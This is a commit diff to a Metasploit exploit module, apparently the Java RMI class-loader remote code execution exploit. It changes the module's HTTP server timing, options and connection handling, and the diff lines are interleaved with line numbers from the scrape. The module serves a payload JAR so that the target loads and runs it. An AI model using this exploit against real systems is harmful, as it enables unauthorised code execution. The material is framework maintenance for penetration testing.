8
8
class Metasploit3 < Msf ::Exploit ::Remote
9
9
Rank = ExcellentRanking
10
10
11
- include Msf ::Exploit ::Remote ::HttpServer
12
11
include Msf ::Exploit ::Remote ::Tcp
12
+ include Msf ::Exploit ::Remote ::HttpServer
13
13
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
@@ -41,6 +41,10 @@ def initialize(info = {})
41
41
'Privileged' => false ,
42
42
'Payload' => { 'BadChars' => '' , 'DisableNops' => true } ,
43
43
'Stance' => Msf ::Exploit ::Stance ::Aggressive ,
44
+ 'DefaultOptions' =>
45
+ {
46
+ 'WfsDelay' => 10
47
+ } ,
44
48
'Targets' =>
45
49
[
46
50
[ 'Generic (Java Payload)' ,
@@ -76,14 +80,26 @@ def initialize(info = {})
76
80
] ,
77
81
'DefaultTarget' => 0
78
82
) )
79
- register_options ( [ Opt ::RPORT ( 1099 ) ] , self . class )
83
+ register_options ( [
84
+ Opt ::RPORT ( 1099 ) ,
85
+ OptInt . new ( 'HTTPDELAY' , [ true , 'Time that the HTTP Server will wait for the payload request' , 10 ] ) ,
86
+ ] , self . class )
80
87
81
88
register_autofilter_ports ( [ 1098 , 1099 ] )
82
89
register_autofilter_services ( %W{ rmi rmid java-rmi rmiregistry } )
83
90
end
84
91
85
92
def exploit
86
- start_service ( )
93
+ begin
94
+ Timeout . timeout ( datastore [ 'HTTPDELAY' ] ) { super }
95
+ rescue Timeout ::Error
96
+ # When the server stops due to our timeout, fail and
97
+ # don't wait WfsDelay
98
+ fail_with ( Failure ::Unknown , "The HTTP Server didn't get a payload requests" )
99
+ end
100
+ end
101
+
102
+ def primer
87
103
connect
88
104
89
105
jar = rand_text_alpha ( rand ( 8 ) +1 ) + '.jar'
@@ -106,11 +122,13 @@ def exploit
106
122
buf = ""
107
123
1 . upto ( 6 ) do
108
124
res = sock . get_once ( -1 , 5 ) rescue nil
109
- break if not res
125
+ break unless res
110
126
break if session_created?
111
127
buf << res
112
128
end
113
129
130
+ disconnect
131
+
114
132
if buf =~ /RMI class loader disabled/
115
133
fail_with ( Failure ::NotVulnerable , "The RMI class loader is disabled" )
116
134
end
@@ -120,14 +138,6 @@ def exploit
120
138
end
121
139
122
140
print_good ( "Target #{ rhost } :#{ rport } may be exploitable..." )
123
-
124
- # Wait for the request to be handled
125
- 1 . upto ( 120 ) do
126
- break if session_created?
127
- select ( nil , nil , nil , 0.25 )
128
- handler ( )
129
- end
130
-
131
141
end
132
142
133
143
def on_request_uri ( cli , request )
@@ -148,6 +158,7 @@ def on_request_uri(cli, request)
148
158
} )
149
159
150
160
print_status ( "Replied to request for payload JAR" )
161
+ stop_service
151
162
end
152
163
end
153
164
0 commit comments